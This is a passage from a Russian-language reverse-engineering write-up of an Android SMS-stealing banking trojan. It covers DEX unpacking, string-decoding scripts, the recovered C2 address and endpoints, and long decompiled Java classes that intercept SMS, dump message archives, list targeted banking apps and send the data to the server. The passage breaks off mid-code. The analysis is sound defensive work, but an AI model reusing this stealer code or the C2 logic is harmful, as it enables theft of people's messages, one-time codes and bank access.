case 1750595: L51a4aa6QFmO.Q2a09e72czACV(L0b4c3f2QFmO.Qcbbc1254zACV(Q86c4afcbzACV(), 49, L9e63ba2QFmO.F0b0cb632Tlgx ^ 180, 1074), Ldacae8bQFmO.Q56c5a16bzACV(Q86c4afcbzACV(), 57, Lfb61d19QFmO.F0cd5ee95Tlgx ^ (-858), 3116)); if (L0b4c3f2QFmO.F3432883eTlgx >= 0) { L0b4c3f2QFmO.Q06be88f1zACV(); iQde8db453zACV = Lfb61d19QFmO.Qac33b0b7zACV(L434d8b2QFmO.Qdd57eeb5zACV(Febab3b5dTlgx, 529, 3, 2760)); } else { iQde8db453zACV = (L0b4c3f2QFmO.F3432883eTlgx / L9e63ba2QFmO.F0b0cb632Tlgx) + 1753546; } break;
Скрипт решает следующие задачи
Парсит JADX-декомпилированные Java файлы и ищет в них
short[]массивы с вызовами*QFmO*();Подставляет известные значения полей (из таблицы выше) в выражения ключей;
Декодирует строку по известной нам уже формуле
(char)(short_array[offset + i] ^ key);Брутфорсом перебирает все 65536 ключей с проверкой читаемости результата (функция find_best_key).
Погонял я скрипт, но ничего интересного не извлек из этих java файлов: только пути для загрузки DEX и системные вызовы. Переходим к анализу дальше.
payload.dex
Сейчас посмотрим, что за этот dex. В папке app/src/main/assets/ видим следующие файлы:

DycyX.mb - это упакованный DEX, который и загружается указанным кодом выше.
cfg.dat и .Xj3X3sxItIypfDAA.txt - шифрованные файлы, какой-то набор байт - нас они не интересуют в данный момент.
Начинаем разбираться с нашим DEX файлом. Выше я уже говорил про ZIP poisoning - тут примерно тоже самое. Посмотрим начало файла DycyX.mb:

Первые 2 байта (78 9C) имитируют zlib-заголовок: 78 — заголовок zlib (deflate, окно 32K), а 9C — контрольная сумма zlib. Далее мы видим сигнатуру DEX-файла (выделена на скриншоте выше). Это трюк для обхода автоматических сигнатурных сканеров: утилиты видят “сжатый” файл и не анализируют его как DEX.
Откидываем два байта простым скриптом:
data = read("DycyX.mb") dex = data[2:] # откидываем 2 первых байта фейкового zlib-заголовока write("payload.dex", dex) #либо для тех, кто любит однострочники (но их две, да) data = open('app/src/main/assets/DycyX.mb', 'rb').read() open('app/src/main/assets/payload.dex', 'wb').write(data[2:])
С полученным dex файлом начинаем проделывать то же самое - закидываем в JADX-GUI и смотрим, что получилось.

Сразу видно уже знакомые нам из манифеста имена сервисов приложения:
service
Строка 57: android:name="com.reawlme.kcupeyue.POIX1UVS23"Строка 71: android:name="com.reawlme.kcupeyue.POIX1UVS20"Строка 74: android:name="com.reawlme.kcupeyue.POIX1UVS22"Строка 87: android:name="com.reawlme.kcupeyue.POIX1UVS21"Строка 92: android:name="com.reawlme.kcupeyue.POIX1UVS19"Строка 96: android:name="com.reawlme.kcupeyue.POIX1UVS16"Строка 105: android:name="com.reawlme.kcupeyue.POIX1UVS12"Строка 114: android:name="com.reawlme.kcupeyue.POIX1UVS1"Строка 124: android:name="com.reawlme.kcupeyue.POIX1UVS18"
Извлечённых файлов получилось много, поэтому на полученную папку натравливаю вновь OpenCode с API Deepseek и прошу разобрать структуру. Получилось следующее:
Файл | Роль |
MainActivity.java | Точка входа, WebView для фишинга |
Http.java | HTTP-клиент с шифрованием (о нем будет ниже) |
C0715a.java | Менеджер конфигурации |
C0717c.java | Менеджер серверов (bootstrap + ротация) |
POIX1UVS16.java | SMS-перехватчик |
POIX1UVS19.java | Сбор данных и отправка на сервер |
POIX1UVS21.java | Foreground-сервис C2 |
POIX1UVS1.java | Boot-ресивер |
В пакете p000a 324 файла, в которых ИИ увидел обфусцированные R8/ProGuard вспомогательные классы. Сделал этот вывод он по формату переменных:
Классы переименованы:
p000a.C0000a,p000a.C0058bk,p000a.C0290u7Методы:
m117a(),m560b(),m604d()Поля:
f521a,f580f,f599c
Честно скажу - я ни разу не сталкивался с данным обфускатором (я с Java не работаю в профессиональном плане), но благо в интернете есть уже готовые проекты, например - https://github.com/LXGaming/Reconstruct . Как сказано в ответе stackoverflow ProGuard больше минимайзер - заменяет названия классов, методов и переменных на максимально возможно короткие (что мы увидели уже). Но строковые константы закодированы другим алгоритмом.
Цепочка вызовов идёт следующим образом:
POIX1UVS16.m878e() — SMS-перехватчик └→ Http.m850q(context, URL, json, id) — отправка SMS └→ C0058bk.m121e(context) — получение panel_url └→ C0715a.getPanelUrl() — C0715a.java:81-83 └→ C0717c.getCurrentServerUrl() — C0717c.java:206-214 └→ server.getUrl() — C0717c.java:72-74 └→ C0290u7.m574p() + ip + ":" + port
Незамысловатая функция с говорящим названием getBootstrapUrl вызывается в файле payload_jadx/sources/com/reawlme/kcupeyue/C0717c.java:
public String getBootstrapUrl() { return C0290u7.m574p() + C0290u7.m561c() + ":80"; // "http://" + IP адрес + ":80" }
А строковые константы шифруются следующей функцией (файл payload_jadx/sources/ p000a/C0290u7.java):
C0290u7.java:строки 128-156
/* JADX INFO: renamed from: a */ private static String m559a(int[] iArr, int i) { int length = iArr.length; char[] cArr = new char[length]; int i2 = 0; while (true) { int i3 = 29364; while (true) { int i4 = (i3 ^ 29364) % 5; if (i4 == 0) { cArr[i2] = (char) (iArr[i2] ^ ((((i2 * 13) + i) + 7) & 255)); } else if (i4 == 1) { i2++; if (i2 < length) { break; } i3 = 29366; } else { if (i4 == 2) { return new String(cArr); } if (i4 != 3) { if (i4 != 4) { } } } i3 = 29365; } } }
Формула почти напоминает формулу выше, но чутка другая - на внешний вид это позиционно-зависимый XOR. ИИ подсказал, что таблица диспетчеризации находится в этом же файле дальше этой функции в строках 159-230.
Метод m560b(index) использует хеш ((index * 10003) + 20113) % 41 для выбора массива и ключа. Прошу ИИ написать мне скрипт для декодирования - вот полученный результат:
decode_payload.py
#!/usr/bin/env python3 """Decode strings from C0290u7 (HTTP constants) and C0293v0 (FenrirCrypto keys).""" # ─── C0290u7 decoder ────────────────────────────────────── def decode_u7(arr, key): """cArr[i] = (char)(iArr[i] ^ (((i*13) + key + 7) & 255))""" return ''.join(chr(v ^ (((i * 13) + key + 7) & 255)) for i, v in enumerate(arr)) u7_arrays = { 'f351b': ([110, 61, 47, 7, 7, 231, 160, 245, 199, 192, 166, 190, 169, 133, 133, 125], 58), 'f353d': ([125, 44, 24, 22, 244, 246, 143, 194, 200, 163, 177, 147, 193], 75), 'f355f': ([76, 3, 9, 229, 229, 193, 158, 221, 163, 189, 134, 153, 144, 121, 109], 92), 'f357h': ([91, 242, 250, 244, 218, 208, 237, 189, 185, 143, 131, 109, 116], 109), 'f359j': ([170, 255, 250, 200, 208, 167, 252, 149, 157, 150, 102, 117, 69], 126), 'f361l': ([185, 206, 213, 217, 163, 182, 203, 131, 155, 123, 119, 87, 70], 143), 'f363n': ([135, 216, 167, 171, 181, 136, 217, 115, 98, 114, 73, 82, 55, 34], 161), 'f365p': ([150, 165, 183, 142, 194, 155, 116, 103, 68, 90, 20], 178), 'f367r': ([229, 180, 128, 159, 209, 101, 119, 65, 87, 76], 195), 'f369t': ([234, 223, 195, 44, 62, 46, 29, 24, 113, 98, 111, 68, 79, 181], 212), 'f371v': ([180, 212, 64, 118, 78, 95, 83, 53, 121, 36, 0, 24], 229), 'f373x': ([165, 39, 86, 116, 120, 19, 0, 61, 28], 246), 'f375z': ([122, 78, 78, 44, 49, 58, 65, 16, 226], 23), 'f339ab': ([108, 83, 39, 34, 6, 30, 9, 167, 195, 221, 193, 219], 40), 'f341ad': ([33, 61, 42, 11, 29, 226, 239, 239, 193, 218, 172, 224, 182, 154, 153, 109, 43, 61, 73, 95, 37, 35, 45, 14, 12, 184, 231, 235, 202, 148, 254], 57), 'f343af': ([23, 16, 57, 73], 74), 'f345ah': ([10, 27, 8, 249, 172, 140, 159], 91), 'f347aj': ([66], 108), 'f349al': ([31, 251, 232, 201, 219, 220, 173, 173, 143, 156, 110, 34, 112, 84, 91, 47], 119), } # ─── C0293v0 decoder ────────────────────────────────────── def decode_v0(arr, key): """cArr[i] = (char)(iArr[i] ^ (((i*13) + key + 7) & 255))""" return ''.join(chr(v ^ (((i * 13) + key + 7) & 255)) for i, v in enumerate(arr)) v0_arrays = { 'f380d': ([66, 25, 118, 120, 3, 37, 177, 174], 45), 'f382f': ([50, 31, 105, 44, 8, 200, 170, 132], 62), 'f384h': ([36, 55, 66, 91, 224, 219, 145, 155], 79), 'f386j': ([4, 50, 182, 171, 249, 224, 133, 167], 96), 'f388l': ([215, 40, 67, 139, 36, 89, 221, 252, 43, 158, 247, 81], None), # special } print("=" * 70) print("C0290u7 DECODED STRINGS (HTTP Headers / API paths / Config)") print("=" * 70) # Build hash->array mapping (same as m560b switch) # hash = ((i * 10003) + 20113) % 41 # Case labels: 5=f349al, 6=f347aj, 7=f345ah, 8=f343af, 9=f341ad, # 10=f339ab, 11=f375z, 12=f373x, 13=f371v, 14=f369t, # 15=f367r, 16=f365p, 17=f363n, 18=f361l, 19=f359j, # 20=f357h, 21=f355f, 22=f353d, 23=f351b hash_to_arr = { 5: 'f349al', 6: 'f347aj', 7: 'f345ah', 8: 'f343af', 9: 'f341ad', 10: 'f339ab', 11: 'f375z', 12: 'f373x', 13: 'f371v', 14: 'f369t', 15: 'f367r', 16: 'f365p', 17: 'f363n', 18: 'f361l', 19: 'f359j', 20: 'f357h', 21: 'f355f', 22: 'f353d', 23: 'f351b', } # Function names from C0290u7 func_index = { 'm573o()': 0, 'm563e()': 1, 'm575q()': 2, 'm576r()': 3, 'm577s()': 4, 'm578t()': 5, 'm579u()': 6, 'm562d()': 7, 'm572n()': 8, 'm561c()': 9, 'm568j()': 10, 'm565g()': 11, 'm567i()': 12, 'm566h()': 13, 'm570l()': 14, 'm571m()': 15, 'm574p()': 16, 'm564f()': 17, 'm569k()': 18, } # Context hints from Http.java context_hints = { 4: 'SMS upload path (POIX1UVS16)', 10: 'Content-Type header', 11: 'deviceId header (API key check)', 12: 'deviceId url param (post)', 13: 'Encryption header key', 14: 'application/json content type', 15: 'Encryption prefix (Fenrir crypto)', 17: 'text/plain content type', 18: 'Encryption header value', } print(f"\n{'Function':<15} {'Index':<6} {'Hash':<6} {'Name':<10} {'Decoded String'}") print("-" * 70) for fn_name, idx in sorted(func_index.items(), key=lambda x: x[1]): h = ((idx * 10003) + 20113) % 41 arr_name = hash_to_arr.get(h, '???') if arr_name in u7_arrays: arr, key = u7_arrays[arr_name] decoded = decode_u7(arr, key) else: decoded = '(no array)' hint = context_hints.get(idx, '') print(f'{fn_name:<15} {idx:<6} {h:<6} {arr_name:<10} \"{decoded}\" {hint}') print() print("=" * 70) print("C0293v0 DECODED STRINGS (FenrirCrypto keys)") print("=" * 70) v0_strings = {} for name, (arr, key) in v0_arrays.items(): if name == 'f388l': # Special decoding: f379c[i] = (byte)(f388l[i] ^ (((i*11)+116)&255)) keybytes = bytes(v ^ (((i * 11) + 116) & 255) for i, v in enumerate(arr)) print(f' f388l (IV/key bytes): {keybytes.hex()} (len={len(keybytes)})') else: s = decode_v0(arr, key) v0_strings[name] = s print(f' {name} (key={key}): \"{s}\"') # The crypto key = m606f() = concat of f380d + f382f + f384h + f386j crypto_key = ''.join(v0_strings.get(n, '') for n in ['f380d', 'f382f', 'f384h', 'f386j']) print(f'\n FENRIR CRYPTO KEY (32 chars): \"{crypto_key}\"') print(f' Crypto module name: "FenrirCrypto"')
Полученные значения после работы скрипта:
Метод | m560b(index) | Декодированная строка |
m574p() | 16 | http:// |
m561c() | 9 | 76.124.222.81 - вот наш IP C2-сервера |
m572n() | 8 | /cdn/nodes |
m573o() | 0 | /store/inventory |
m563e() | 1 | /store/order/ |
m575q() | 2 | /store/checkout |
m576r() | 3 | /store/refund |
m577s() | 4 | /media/uplaad |
m578t() | 5 | /media/report |
m579u() | 6 | /media/process |
m562d() | 7 | /cdn/asset/ |
m568j() | 10 | X-Fenrir-Enc |
m565g() | 11 | X-API-Key |
m567i() | 12 | device-id |
m566h() | 13 | Content-Type |
m570l() | 14 | application/json; charset=utf-8 |
m571m() | 15 | FNR1 |
m564f() | 17 | 1 |
m569k() | 18 | application/json |
Bootstrap сервер жестко задан: http://176.124.222.81:80/cdn/nodes Данный IP адрес мы уже видели в отчёте VirusTotal. К сожалению (точнее к счастью), сервер уже не доступен. А так бы можно было получить JSON следующего формата (ИИ востановил структуру из файла C0717.java)
C0717.java
package com.reawlme.kcupeyue; import android.content.Context; import android.content.SharedPreferences; import java.util.ArrayList; import java.util.List; import java.util.Objects; import java.util.concurrent.TimeUnit; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.Response; import org.json.JSONArray; import org.json.JSONObject; import p000a.C0210m7; import p000a.C0290u7; /* JADX INFO: renamed from: com.reawlme.kcupeyue.c */ /* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */ public class C0717c { /* JADX INFO: renamed from: e */ private static final String f590e = "ServerManager"; /* JADX INFO: renamed from: f */ private static final String f591f = "server_config"; /* JADX INFO: renamed from: g */ private static final int f592g = 80; /* JADX INFO: renamed from: h */ private static final String f593h = "servers_json"; /* JADX INFO: renamed from: i */ private static final String f594i = "current_index"; /* JADX INFO: renamed from: j */ private static final String f595j = "last_update"; /* JADX INFO: renamed from: k */ private static C0717c f596k; /* JADX INFO: renamed from: a */ private final SharedPreferences f597a; /* JADX INFO: renamed from: b */ private final Context f598b; /* JADX INFO: renamed from: c */ private final List<a> f599c; /* JADX INFO: renamed from: d */ private int f600d; /* JADX INFO: renamed from: com.reawlme.kcupeyue.c$a */ public static class a { /* JADX INFO: renamed from: a */ public String f601a; /* JADX INFO: renamed from: b */ public int f602b; /* JADX INFO: renamed from: c */ public int f603c; public a(String str, int i, int i2) { this.f601a = str; this.f602b = i; this.f603c = i2; } public String getUrl() { return C0290u7.m574p() + this.f601a + ":" + this.f602b; } public String toString() { return this.f601a + ":" + this.f602b + " (prio:" + this.f603c + ")"; } } private C0717c(Context context) { Context applicationContext = context.getApplicationContext(); this.f598b = applicationContext; SharedPreferences sharedPreferences = applicationContext.getSharedPreferences(f591f, 0); this.f597a = sharedPreferences; this.f599c = new ArrayList(); this.f600d = sharedPreferences.getInt(f594i, 0); m929g(); } /* JADX INFO: renamed from: d */ public static synchronized C0717c m927d(Context context) { try { if (f596k == null) { f596k = new C0717c(context); } } catch (Throwable th) { throw th; } return f596k; } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: f */ public static /* synthetic */ int m928f(a aVar, a aVar2) { return Integer.compare(aVar2.f603c, aVar.f603c); } /* JADX INFO: renamed from: g */ private void m929g() { String string = this.f597a.getString(f593h, null); if (string == null || string.isEmpty()) { return; } try { m930h(string); this.f599c.size(); } catch (Exception e) { e.getMessage(); this.f599c.clear(); } } /* JADX INFO: renamed from: h */ private void m930h(String str) throws Exception { JSONObject jSONObject = new JSONObject(str); if (!jSONObject.optBoolean("success", false)) { throw new Exception("Server returned success=false"); } this.f599c.clear(); JSONArray jSONArray = jSONObject.getJSONArray("servers"); for (int i = 0; i < jSONArray.length(); i++) { JSONObject jSONObject2 = jSONArray.getJSONObject(i); this.f599c.add(new a(jSONObject2.getString("ip"), jSONObject2.optInt("port", f592g), jSONObject2.optInt("priority", 0))); } this.f599c.sort(new C0210m7()); if (this.f600d >= this.f599c.size()) { this.f600d = 0; m931j(); } } /* JADX INFO: renamed from: j */ private void m931j() { this.f597a.edit().putInt(f594i, this.f600d).apply(); } /* JADX INFO: renamed from: k */ private void m932k(String str) { this.f597a.edit().putString(f593h, str).putLong(f595j, System.currentTimeMillis()).apply(); } /* JADX INFO: renamed from: b */ public void m933b() { this.f599c.clear(); this.f600d = 0; this.f597a.edit().clear().apply(); } /* JADX INFO: renamed from: c */ public boolean m934c() { String str = getBootstrapUrl() + C0290u7.m572n(); try { OkHttpClient.Builder builder = new OkHttpClient.Builder(); TimeUnit timeUnit = TimeUnit.SECONDS; Response responseExecute = builder.connectTimeout(10L, timeUnit).readTimeout(10L, timeUnit).build().newCall(new Request.Builder().url(str).get().build()).execute(); if (!responseExecute.isSuccessful() || responseExecute.body() == null) { responseExecute.code(); return false; } String strString = responseExecute.body().string(); m930h(strString); m932k(strString); this.f599c.size(); Objects.toString(this.f599c); return this.f599c.size() > 0; } catch (Exception e) { e.getMessage(); return false; } } /* JADX INFO: renamed from: e */ public boolean m935e() { return !this.f599c.isEmpty(); } public List<a> getAllServers() { return new ArrayList(this.f599c); } public String getBootstrapUrl() { return C0290u7.m574p() + C0290u7.m561c() + ":80"; } public a getCurrentServer() { if (this.f599c.isEmpty()) { return null; } if (this.f600d >= this.f599c.size()) { this.f600d = 0; } return this.f599c.get(this.f600d); } public String getCurrentServerUrl() { if (this.f599c.isEmpty()) { return null; } if (this.f600d >= this.f599c.size()) { this.f600d = 0; } return this.f599c.get(this.f600d).getUrl(); } public long getLastUpdateTime() { return this.f597a.getLong(f595j, 0L); } public int getServerCount() { return this.f599c.size(); } /* JADX INFO: renamed from: i */ public synchronized void m936i() { if (this.f600d != 0) { this.f600d = 0; m931j(); Objects.toString(getCurrentServer()); } } /* JADX INFO: renamed from: l */ public synchronized boolean m937l() { if (this.f599c.size() <= 1) { return false; } a currentServer = getCurrentServer(); this.f600d = (this.f600d + 1) % this.f599c.size(); m931j(); a currentServer2 = getCurrentServer(); Objects.toString(currentServer); Objects.toString(currentServer2); return true; } }
JSON
{ “success”: true, “servers”: [ {“ip”: “176.124.222.81”, “port”: 80, “priority”: 10}, {“ip”: “другой_сервер”, “port”: 80, “priority”: 5} ] }
Сервера сортируются по priority, индекс текущего сохраняется в SharedPreferences. При ошибке — ротация на следующий сервер (строки 234-245 в C0717c.java).
Исходя из кода, ИИ выделил следующие точки API:
API | HTTP | Где вызывается | Данные |
/store/inventory | не определил | — | Регистрация устройства |
/store/checkout | POST | POIX1UVS19.java:362-38 | Полный дамп: device_id, worker, device_model, android_version, app_name, phone_number, sim_count, found_apps, sms_archive |
/store/order/ | GET | — | Заказ - скорее всего получение команд что нужно украсть |
/store/refund | GET | POIX1UVS19.java:433 | Проверка retry_phone |
/media/uplaad | POST | POIX1UVS16.java:77 | Перехваченное SMS: device_id, sender, text, sim_slot |
/media/report | ? | — | Отчёт |
/media/process | ? | — | |
/cdn/asset/ | ? | — | CDN-ресурсы |
/cdn/nodes | GET | C0717c.java:162-166 | Список серверов |
POIX1UVS16.java
package com.reawlme.kcupeyue; import android.app.role.RoleManager; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Build; import android.os.Bundle; import android.os.PowerManager; import android.provider.Telephony; import android.telephony.SmsMessage; import java.io.IOException; import okhttp3.Call; import okhttp3.Callback; import okhttp3.HttpUrl; import okhttp3.Response; import org.json.JSONObject; import p000a.AbstractC0282u; import p000a.C0058bk; import p000a.C0102cs; import p000a.C0290u7; /* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */ public class POIX1UVS16 extends BroadcastReceiver { /* JADX INFO: renamed from: a */ private static final String f539a = "POIX1UVS16"; /* JADX INFO: renamed from: b */ private int m875b(Bundle bundle) { int i = bundle.getInt("slot", -1); if (i == -1) { i = bundle.getInt("simId", -1); } if (i == -1) { i = bundle.getInt("phone", -1); } if (i == -1) { i = bundle.getInt("subscription", 0); } return i + 1; } /* JADX INFO: renamed from: c */ private boolean m876c(Context context) { if (Build.VERSION.SDK_INT < 29) { return context.getPackageName().equals(Telephony.Sms.getDefaultSmsPackage(context)); } RoleManager roleManagerM525c = AbstractC0282u.m525c(context.getSystemService("role")); return roleManagerM525c != null && roleManagerM525c.isRoleHeld("android.app.role.SMS"); } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: d */ public void m877d(PowerManager.WakeLock wakeLock) { if (wakeLock != null) { try { if (wakeLock.isHeld()) { wakeLock.release(); } } catch (Exception unused) { } } } /* JADX INFO: renamed from: e */ private void m878e(Context context, String str, String str2, int i, final PowerManager.WakeLock wakeLock) { try { String strM230b = C0102cs.m230b(context); String str3 = C0058bk.m121e(context) + C0290u7.m577s(); JSONObject jSONObject = new JSONObject(); jSONObject.put("device_id", strM230b); jSONObject.put("sender", str); jSONObject.put("text", str2); jSONObject.put("sim_slot", i); str2.substring(0, Math.min(50, str2.length())); Http.m850q(context, str3, jSONObject.toString(), strM230b, new Callback() { // from class: com.reawlme.kcupeyue.POIX1UVS16.1 @Override // okhttp3.Callback public void onFailure(Call call, IOException iOException) { iOException.getMessage(); POIX1UVS16.this.m877d(wakeLock); } @Override // okhttp3.Callback public void onResponse(Call call, Response response) { response.code(); response.close(); POIX1UVS16.this.m877d(wakeLock); } }); } catch (Exception unused) { m877d(wakeLock); } } /* JADX INFO: renamed from: f */ private void m879f(Context context) { POIX1UVS21 poix1uvs21 = POIX1UVS21.getInstance(); if (poix1uvs21 != null) { poix1uvs21.acquireWakeLock(); poix1uvs21.sendPing(); } else { Intent intent = new Intent(context, (Class<?>) POIX1UVS21.class); intent.setAction("SMS_EVENT"); context.startForegroundService(intent); } } @Override // android.content.BroadcastReceiver public void onReceive(Context context, Intent intent) { if (intent == null) { return; } String action = intent.getAction(); if (m876c(context)) { if (!"android.provider.Telephony.SMS_DELIVER".equals(action)) { return; } } else if (!"android.provider.Telephony.SMS_RECEIVED".equals(action)) { return; } if ("android.provider.Telephony.SMS_RECEIVED".equals(action) || "android.provider.Telephony.SMS_DELIVER".equals(action)) { PowerManager.WakeLock wakeLockNewWakeLock = ((PowerManager) context.getSystemService("power")).newWakeLock(1, "POIX1UVS16:Lock"); wakeLockNewWakeLock.acquire(30000L); try { Bundle extras = intent.getExtras(); if (extras != null) { Object[] objArr = (Object[]) extras.get("pdus"); String string = extras.getString("format"); if (objArr != null) { StringBuilder sb = new StringBuilder(); int iM875b = m875b(extras); String originatingAddress = HttpUrl.FRAGMENT_ENCODE_SET; for (Object obj : objArr) { SmsMessage smsMessageCreateFromPdu = SmsMessage.createFromPdu((byte[]) obj, string); originatingAddress = smsMessageCreateFromPdu.getOriginatingAddress(); sb.append(smsMessageCreateFromPdu.getMessageBody()); } m878e(context, originatingAddress, sb.toString(), iM875b, wakeLockNewWakeLock); m879f(context); return; } } } catch (Exception unused) { } if (wakeLockNewWakeLock.isHeld()) { wakeLockNewWakeLock.release(); } } } }
POIX1UVS19
package com.reawlme.kcupeyue; import android.app.Service; import android.app.role.RoleManager; import android.content.Intent; import android.content.pm.ApplicationInfo; import android.content.pm.PackageManager; import android.database.Cursor; import android.net.Uri; import android.os.Build; import android.os.IBinder; import android.provider.Telephony; import android.telephony.SmsManager; import android.telephony.SubscriptionInfo; import android.telephony.SubscriptionManager; import androidx.core.content.ContextCompat; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Collection; import java.util.Date; import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.TimeZone; import okhttp3.Call; import okhttp3.Callback; import okhttp3.Response; import org.json.JSONArray; import org.json.JSONObject; import p000a.AbstractC0282u; import p000a.C0058bk; import p000a.C0102cs; import p000a.C0290u7; import p000a.RunnableC0021ak; /* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */ public class POIX1UVS19 extends Service { /* JADX INFO: renamed from: b */ private static final String f542b = "POIX1UVS19"; /* JADX INFO: renamed from: c */ private static final int f543c = 10; /* JADX INFO: renamed from: d */ private static final int f544d = 5000; /* JADX INFO: renamed from: e */ private static boolean f545e; /* JADX INFO: renamed from: f */ private static boolean f546f; /* JADX INFO: renamed from: g */ private static final Map<String, String> f547g = new C0706a(); /* JADX INFO: renamed from: a */ private int f548a = 0; /* JADX INFO: renamed from: com.reawlme.kcupeyue.POIX1UVS19$a */ public class C0706a extends HashMap<String, String> { public C0706a() { put("Сбербанк", "ru.sberbankmobile"); put("ВТБ", "ru.vtb24.mobilebanking"); put("Альфа-Банк", "ru.alfabank.mobile.android"); put("Тинькофф", "com.idamob.tinkoff.android"); put("Газпромбанк", "ru.gazprombank.android"); put("Открытие", "ru.openbank"); put("ПСБ", "ru.psbank.mobile"); put("Райффайзенбанк", "ru.raiffeisennews"); put("МКБ", "ru.mkb.mobile"); put("Росбанк", "ru.rosbank.android"); put("ЮниКредит", "ru.unicredit"); put("Уралсиб", "ru.uralsib.smarthome"); put("Совкомбанк", "ru.sovcombank.android"); put("СКБ-Банк", "ru.skbkontur.client"); put("Почта Банк", "ru.pochta.bank"); put("СберБизнес", "ru.sberbank_sbbol"); put("Госуслуги", "ru.gosuslugi"); put("Госключ", "ru.gosuslugi.goskey"); put("Wildberries", "com.wildberries.ru"); put("Ozon", "ru.ozon.app.android"); put("Яндекс", "ru.yandex.searchplugin"); put("WhatsApp", "com.whatsapp"); } } /* JADX WARN: Removed duplicated region for block: B:34:0x0160 A[LOOP:1: B:31:0x0108->B:34:0x0160, LOOP_END] */ /* JADX WARN: Removed duplicated region for block: B:38:0x0168 A[PHI: r12 0x0168: PHI (r12v7 android.database.Cursor) = (r12v6 android.database.Cursor), (r12v8 android.database.Cursor) binds: [B:42:0x0172, B:37:0x0166] A[DONT_GENERATE, DONT_INLINE]] */ /* JADX WARN: Removed duplicated region for block: B:57:0x0166 A[EDGE_INSN: B:57:0x0166->B:37:0x0166 BREAK A[LOOP:1: B:31:0x0108->B:34:0x0160], SYNTHETIC] */ /* JADX INFO: renamed from: f */ /* Code decompiled incorrectly, please refer to instructions dump. */ private String m885f() { String str; String str2; String str3 = "date"; String str4 = "body"; StringBuilder sb = new StringBuilder("╔══════════════════════════════════════╗\n║ SMS ARCHIVE ║\n╠══════════════════════════════════════╣\n║ Date: "); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("dd.MM.yyyy HH:mm:ss"); simpleDateFormat.setTimeZone(TimeZone.getTimeZone("Europe/Moscow")); sb.append(simpleDateFormat.format(new Date())); sb.append("\n║ Device: "); sb.append(Build.MODEL); sb.append("\n╚══════════════════════════════════════╝\n\n┌──────────────────────────────────────┐\n│ INBOX MESSAGES │\n└──────────────────────────────────────┘\n\n"); int i = 1; Cursor cursorQuery = null; try { try { cursorQuery = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, "date DESC LIMIT 200"); if (cursorQuery == null || !cursorQuery.moveToFirst()) { str = "date"; str2 = "body"; } else { int i2 = 1; while (true) { String string = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow("address")); String string2 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow(str4)); str = str3; str2 = str4; try { long j = cursorQuery.getLong(cursorQuery.getColumnIndexOrThrow(str3)); sb.append("━━━━━━━━━━ SMS #"); int i3 = i2 + 1; sb.append(i2); sb.append(" ━━━━━━━━━━\n"); sb.append("From: "); sb.append(string); sb.append("\n"); sb.append("Time: "); sb.append(simpleDateFormat.format(new Date(j))); sb.append("\n"); sb.append("Text:\n"); sb.append(string2); sb.append("\n\n"); if (!cursorQuery.moveToNext()) { break; } i2 = i3; str3 = str; str4 = str2; } catch (Exception e) { e = e; sb.append("Error reading SMS: "); sb.append(e.getMessage()); sb.append("\n"); if (cursorQuery != null) { } sb.append("\n┌──────────────────────────────────────┐\n│ SENT MESSAGES │\n└──────────────────────────────────────┘\n\n"); cursorQuery = getContentResolver().query(Uri.parse("content://sms/sent"), null, null, null, "date DESC LIMIT 100"); if (cursorQuery != null) { while (true) { String string3 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow("address")); String str5 = str2; String string4 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow(str5)); String str6 = str; long j2 = cursorQuery.getLong(cursorQuery.getColumnIndexOrThrow(str6)); str2 = str5; sb.append("━━━━━━━━━━ SENT #"); int i4 = i + 1; sb.append(i); sb.append(" ━━━━━━━━━━\n"); sb.append("To: "); sb.append(string3); sb.append("\n"); sb.append("Time: "); sb.append(simpleDateFormat.format(new Date(j2))); sb.append("\n"); sb.append("Text:\n"); sb.append(string4); sb.append("\n\n"); if (cursorQuery.moveToNext()) { } i = i4; str = str6; } } if (cursorQuery != null) { } sb.append("\n╔══════════════════════════════════════╗\n║ END OF ARCHIVE ║\n╚══════════════════════════════════════╝\n"); return sb.toString(); } } } } finally { if (cursorQuery != null) { cursorQuery.close(); } } } catch (Exception e2) { e = e2; str = str3; str2 = str4; } if (cursorQuery != null) { cursorQuery.close(); } sb.append("\n┌──────────────────────────────────────┐\n│ SENT MESSAGES │\n└──────────────────────────────────────┘\n\n"); try { cursorQuery = getContentResolver().query(Uri.parse("content://sms/sent"), null, null, null, "date DESC LIMIT 100"); if (cursorQuery != null && cursorQuery.moveToFirst()) { while (true) { String string32 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow("address")); String str52 = str2; String string42 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow(str52)); String str62 = str; long j22 = cursorQuery.getLong(cursorQuery.getColumnIndexOrThrow(str62)); str2 = str52; sb.append("━━━━━━━━━━ SENT #"); int i42 = i + 1; sb.append(i); sb.append(" ━━━━━━━━━━\n"); sb.append("To: "); sb.append(string32); sb.append("\n"); sb.append("Time: "); sb.append(simpleDateFormat.format(new Date(j22))); sb.append("\n"); sb.append("Text:\n"); sb.append(string42); sb.append("\n\n"); if (cursorQuery.moveToNext()) { break; } i = i42; str = str62; } } } catch (Exception unused) { if (cursorQuery != null) { } } catch (Throwable th) { throw th; } if (cursorQuery != null) { cursorQuery.close(); } sb.append("\n╔══════════════════════════════════════╗\n║ END OF ARCHIVE ║\n╚══════════════════════════════════════╝\n"); return sb.toString(); } /* JADX INFO: renamed from: g */ private List<String> m886g() { ArrayList arrayList = new ArrayList(); try { for (ApplicationInfo applicationInfo : getPackageManager().getInstalledApplications(128)) { Iterator<Map.Entry<String, String>> it = f547g.entrySet().iterator(); while (true) { if (it.hasNext()) { Map.Entry<String, String> next = it.next(); if (next.getValue().equals(applicationInfo.packageName)) { arrayList.add(next.getKey()); break; } } } } } catch (Exception unused) { } return arrayList; } private String getAppName() { try { 